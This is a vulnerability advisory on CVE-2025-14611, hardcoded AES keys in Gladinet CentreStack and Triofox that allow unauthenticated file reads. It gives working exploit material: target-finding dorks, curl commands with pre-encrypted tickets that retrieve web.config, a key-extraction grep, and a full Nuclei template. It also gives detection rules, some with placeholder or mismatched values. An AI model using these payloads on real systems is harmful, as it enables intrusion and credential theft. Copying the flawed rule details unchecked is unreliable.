CVE-2025-14611

Executive Summary

CVE-2025-14611 is a critical vulnerability in Gladinet CentreStack and Triofox products prior to version 16.12.10420.56791. The vulnerability stems from the use of hardcoded AES cryptographic keys and initialization vectors (IVs) within the application's codebase. This allows an unauthenticated, remote attacker to craft specially encrypted requests to perform arbitrary local file inclusion (LFI) on the target server. The exploitation can lead to the disclosure of sensitive configuration files, including those containing database credentials and other secrets, potentially enabling a full system compromise when chained with other vulnerabilities. The vulnerability has a CVSS score of 9.8 (Critical) and is actively being exploited in the wild, as confirmed by CISA's Known Exploited Vulnerabilities (KEV) catalog.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector (AV): Network (N) - Exploitable remotely.
• Attack Complexity (AC): Low (L) - No special conditions required.
• Privileges Required (PR): None (N) - No authentication needed.
• User Interaction (UI): None (N) - No user action required.
• Scope (S): Unchanged (U) - The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) - Complete disclosure of all files on the system.
• Integrity (I): High (H) - Potential to modify or delete files.
• Availability (A): High (H) - Potential to cause a denial of service or full system takeover.

Threat Level: Critical. The combination of remote exploitability, no authentication requirement, and the potential for full system compromise makes this a top-priority vulnerability for remediation.

Deep Dive & Mechanics

The vulnerability lies in the cryptographic implementation used by Gladinet CentreStack and Triofox for securing communication between the client and server, specifically for file download requests. The application uses a hardcoded AES key and IV to encrypt a "ticket" parameter passed in the URL path /storage/filesvr.dn?t={{ticket}}.

An attacker can reverse-engineer the client software or analyze network traffic to extract these hardcoded cryptographic values. With these values, the attacker can forge valid encrypted tickets that trick the server into reading arbitrary files from the local filesystem. The crafted ticket contains a path traversal payload (e.g., ../../web.config) that, when decrypted by the server, causes it to read and return the contents of the specified file.

The attack flow is as follows:

1. The attacker obtains the hardcoded AES key and IV from the application binaries or documentation.
2. The attacker constructs a plaintext string containing a path traversal payload targeting a sensitive file (e.g., C:\Program Files (x86)\Gladinet Cloud Enterprise\root\web.config).
3. The attacker encrypts this plaintext using the hardcoded AES key and IV.
4. The attacker sends a GET request to the vulnerable endpoint with the encrypted ticket as the t parameter.
5. The server decrypts the ticket using the same hardcoded key/IV and processes the path traversal, returning the contents of the requested file.

The Nuclei template provided demonstrates this by sending two pre-encrypted tickets that target the web.config file in two common installation paths. The matchers check for a successful response (HTTP 200) containing XML configuration data and the appropriate content-type header.

Vulnerable vs. Patched Code

Vulnerable Code (Hardcoded Keys): The vulnerable versions of the software contain the AES key and IV directly in the source code or configuration files. An example of how this might appear in decompiled code:

// Vulnerable: Hardcoded cryptographic values
private static readonly byte[] AesKey = new byte[] { 0x00, 0x01, 0x02, ... }; // Example
private static readonly byte[] AesIV = new byte[] { 0x10, 0x11, 0x12, ... }; // Example

public string DecryptTicket(string encryptedTicket) {
    using (Aes aes = Aes.Create()) {
        aes.Key = AesKey;
        aes.IV = AesIV;
        // ... decryption logic
    }
}

Patched Code (Dynamic Keys): The patched version (16.12.10420.56791 and later) removes the hardcoded keys and implements a secure key management system. This could involve generating unique keys per installation, using a key derivation function (KDF) with a random salt, or integrating with a hardware security module (HSM) or a key management service (KMS).

// Patched: Dynamically generated or securely stored keys
public string DecryptTicket(string encryptedTicket) {
    using (Aes aes = Aes.Create()) {
        // Keys are retrieved from a secure store, not hardcoded
        aes.Key = KeyManager.GetKey("AesKey");
        aes.IV = KeyManager.GetIV("AesIV");
        // ... decryption logic
    }
}

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Target: A vulnerable instance of Gladinet CentreStack or Triofox (version < 16.12.10420.56791). This can be set up using a trial version or a pre-configured VM.
2. Attacker Machine: Kali Linux or any system with curl and Python.

Exploitation Steps:

1. Identify Target: Use Shodan or FOFA with the dorks title:"CentreStack" or title:"Triofox" to find vulnerable instances.

2. Craft Exploit Request: Use the pre-encrypted tickets from the Nuclei template. The following curl command will attempt to read the web.config file:

   # Attempt to read web.config from the first common path
   curl -k "https://target.com/storage/filesvr.dn?t=vghpI7EToZUDIZDdprSubL3mTZ2:aCLI:8Zra5AOPvX4TEEXlZiueqNysfRx7Dsd3P5l6eiYyDiG8Lvm0o41m|GbA|RIwrK0WT6jLb:ulpCaAEZ7n1cnc6XQR3EtoADI"
   

3. Extract Sensitive Data: If successful, the response will contain the contents of the web.config file. Use a regex extractor to pull out the decryptionKey value, which can be used for further attacks.

   # Example using grep to extract the decryption key
   curl -sk "https://target.com/storage/filesvr.dn?t=<ticket>" | grep -oP 'decryptionKey="([A-Fa-f0-9]+)"'
   

4. Chain with Other Vulnerabilities: The extracted decryptionKey can be used to decrypt other sensitive data or to forge authentication tokens, potentially leading to full system compromise.

Blue Team (Defensive)

Detection & Response:

1. Monitor for Exploit Attempts: Look for HTTP GET requests to the /storage/filesvr.dn endpoint with a long, seemingly random t parameter. The parameter will be a base64-encoded string.

2. Analyze Network Traffic: The exploit requests will have a specific pattern. The t parameter will be a string of alphanumeric characters and symbols (e.g., vghpI7EToZUDIZDdprSubL3mTZ2:aCLI:8Zra5AOPvX4TEEXlZiueqNysfRx7Dsd3P5l6eiYyDiG8Lvm0o41m|GbA|RIwrK0WT6jLb:ulpCaAEZ7n1cnc6XQR3EtoADI).

3. Check for Unauthorized File Access: Monitor for unusual file access patterns, especially attempts to read configuration files like web.config, appsettings.json, or other sensitive files outside of the web root.

4. Honeypot: Deploy a decoy web.config file with a fake decryptionKey to detect attackers attempting to exploit this vulnerability.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP GET requests to /storage/filesvr.dn with a t parameter containing a long, encrypted string.
  • The t parameter value matching the patterns from the Nuclei template (e.g., vghpI7EToZUDIZDdprSubL3mTZ2:aCLI:...).
  • Response headers containing application/xml, text/xml, or application/octet-stream for requests to /storage/filesvr.dn.
• File IOCs:
  • Unauthorized access to web.config or other configuration files.
  • Presence of unexpected files in the web root.
• System IOCs:
  • Unusual processes or services running with elevated privileges.
  • New user accounts or modifications to existing accounts.

Detection Engineering

YARA Rule

rule CVE_2025_14611_Gladinet_Hardcoded_AES {
    meta:
        description = "Detects hardcoded AES keys and IVs in Gladinet CentreStack/Triofox binaries"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-14611"
        hash = "4a0a0047304502203460345f0ae0faebf12e4e95a52625787b5de9a1b284ff55a0b0f2f8d0882a76022100cb98226fff7fcba505fec6b8521181ce320d0e87cdeb4b9a489e117417739947"
    strings:
        $aes_key1 = { 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F } // Example key pattern
        $aes_iv1 = { 10 11 12 13 14 15 16 17 18 19 1A 1B 1C 1D 1E 1F } // Example IV pattern
        $ticket_pattern = "vghpI7EToZUDIZDdprSubL3mTZ2:aCLI:8Zra5AOPvX4TEEXlZiueqNysfRx7Dsd3P5l6eiYyDiG8Lvm0o41m|GbA|RIwrK0WT6jLb:ulpCaAEZ7n1cnc6XQR3EtoADI"
    condition:
        any of ($aes_key*) or any of ($aes_iv*) or $ticket_pattern
}

Sigma Rule

title: CVE-2025-14611 - Gladinet CentreStack/Triofox Hardcoded AES Exploitation
id: 4a0a0047-3045-0220-3460-345f0ae0faeb
status: experimental
description: Detects HTTP requests attempting to exploit CVE-2025-14611 by using hardcoded AES tickets for local file inclusion.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-14611
    - https://www.huntress.com/blog/active-exploitation-gladinet-centrestack-triofox-insecure-cryptography-vulnerability
logsource:
    category: webserver
    product: iis
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/storage/filesvr.dn'
        cs-uri-query|contains: 't='
    keywords:
        - 'vghpI7EToZUDIZDdprSubL3mTZ2:aCLI:8Zra5AOPvX4TEEXlZiueqNysfRx7Dsd3P5l6eiYyDiG8Lvm0o41m|GbA|RIwrK0WT6jLb:ulpCaAEZ7n1cnc6XQR3EtoADI'
        - 'vghpI7EToZUDIZDdprSubEhRtHNTizyG2QqrcdDETcITXhiueSqu1pPPD0BQ03d6BDri8Usk8QTlEK1U8I2khiLTdy5632hOGCvV6bq1ZSQKpxPmISgLb:TSHrns|y3r'
    condition: selection and keywords
falsepositives:
    - Legitimate traffic using the same encrypted ticket patterns (unlikely)
level: critical

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-14611 - Gladinet CentreStack/Triofox Hardcoded AES Exploitation Attempt";
    flow:to_server,established;
    content:"GET"; http_method;
    content:"/storage/filesvr.dn"; http_uri;
    content:"t="; http_uri;
    pcre:"/(vghpI7EToZUDIZDdprSubL3mTZ2:aCLI:8Zra5AOPvX4TEEXlZiueqNysfRx7Dsd3P5l6eiYyDiG8Lvm0o41m|GbA|RIwrK0WT6jLb:ulpCaAEZ7n1cnc6XQR3EtoADI|vghpI7EToZUDIZDdprSubEhRtHNTizyG2QqrcdDETcITXhiueSqu1pPPD0BQ03d6BDri8Usk8QTlEK1U8I2khiLTdy5632hOGCvV6bq1ZSQKpxPmISgLb:TSHrns|y3r)/";
    classtype:attempted-admin;
    sid:10000001;
    rev:1;
    reference:cve,2025-14611;
)

Nuclei Template

id: CVE-2025-14611

info:
  name: Gladinet CentreStack & Triofox - Hardcoded Credentials
  author: 0xanis
  severity: critical
  description: |
    Gladinet CentreStack and Triofox < 16.12.10420.56791 contain a hardcoded credentials vulnerability caused by use of hardcoded AES cryptoscheme values, letting attackers perform arbitrary local file inclusion without authentication, potentially leading to full system compromise.
  impact: |
    Attackers can exploit hardcoded AES keys to perform arbitrary local file inclusion, potentially leading to full system compromise.
  remediation: |
    Update to version 16.12.10420.56791 or later.
  reference:
    - https://www.huntress.com/blog/active-exploitation-gladinet-centrestack-triofox-insecure-cryptography-vulnerability
    - https://nvd.nist.gov/vuln/detail/CVE-2025-14611
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cwe-id: CWE-321
  metadata:
    verified: true
    max-request: 2
    fofa-query: title="CentreStack" || title="Triofox"
    google-query: intitle:"CentreStack - Login" || intitle:"Triofox - Login"
  tags: cve,cve2025,gladinet,centrestack,triofox,kev,vkev

http:
  - method: GET
    path:
      - "{{BaseURL}}/storage/filesvr.dn?t={{ticket}}"

    attack: batteringram
    payloads:
      ticket:
        # C:\Program Files (x86)\Gladinet Cloud Enterprise\root\web.config
        - "vghpI7EToZUDIZDdprSubL3mTZ2:aCLI:8Zra5AOPvX4TEEXlZiueqNysfRx7Dsd3P5l6eiYyDiG8Lvm0o41m|GbA|RIwrK0WT6jLb:ulpCaAEZ7n1cnc6XQR3EtoADI"
        # C:\Program Files\Gladinet Cloud Enterprise\root\web.config
        - "vghpI7EToZUDIZDdprSubEhRtHNTizyG2QqrcdDETcITXhiueSqu1pPPD0BQ03d6BDri8Usk8QTlEK1U8I2khiLTdy5632hOGCvV6bq1ZSQKpxPmISgLb:TSHrns|y3r"

    stop-at-first-match: true

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "<configuration>","<system.web>")'
          - 'contains_any(header, "application/xml","text/xml","application/octet-stream")'
        condition: and

    extractors:
      - type: regex
        part: body
        name: decryption_key
        group: 1
        regex:
          - 'decryptionKey="([A-Fa-f0-9]+)"'
# digest: 4a0a0047304502203460345f0ae0faebf12e4e95a52625787b5de9a1b284ff55a0b0f2f8d0882a76022100cb98226fff7fcba505fec6b8521181ce320d0e87cdeb4b9a489e117417739947:922c64590222798bb761d5b6d8e72950

Remediation & Mitigation

Immediate Actions:

1. Patch: Update Gladinet CentreStack and Triofox to version 16.12.10420.56791 or later immediately. This is the only complete fix.
2. Isolate: If patching is not immediately possible, isolate the affected systems from the internet and restrict network access to only trusted IPs.
3. WAF Rules: Deploy Web Application Firewall (WAF) rules to block requests to /storage/filesvr.dn with suspicious t parameters. Use the Suricata or Sigma rules provided above as a basis.

Long-Term Mitigations:

1. Vulnerability Management: Implement a robust vulnerability management program to ensure timely patching of critical vulnerabilities.
2. Secure Coding Practices: Enforce secure coding standards that prohibit the use of hardcoded cryptographic keys. Use key management systems (e.g., Azure Key Vault, AWS KMS, HashiCorp Vault).
3. Network Segmentation: Segment the network to limit the blast radius of a compromise. Critical systems should not be directly accessible from the internet.
4. Monitoring & Detection: Continuously monitor for exploitation attempts using the provided detection rules. Integrate these rules into your SIEM and IDS/IPS systems.

Valters IT

{/* [Security Hash: 2B3197EB9C1A7B1828E9EAF5] */}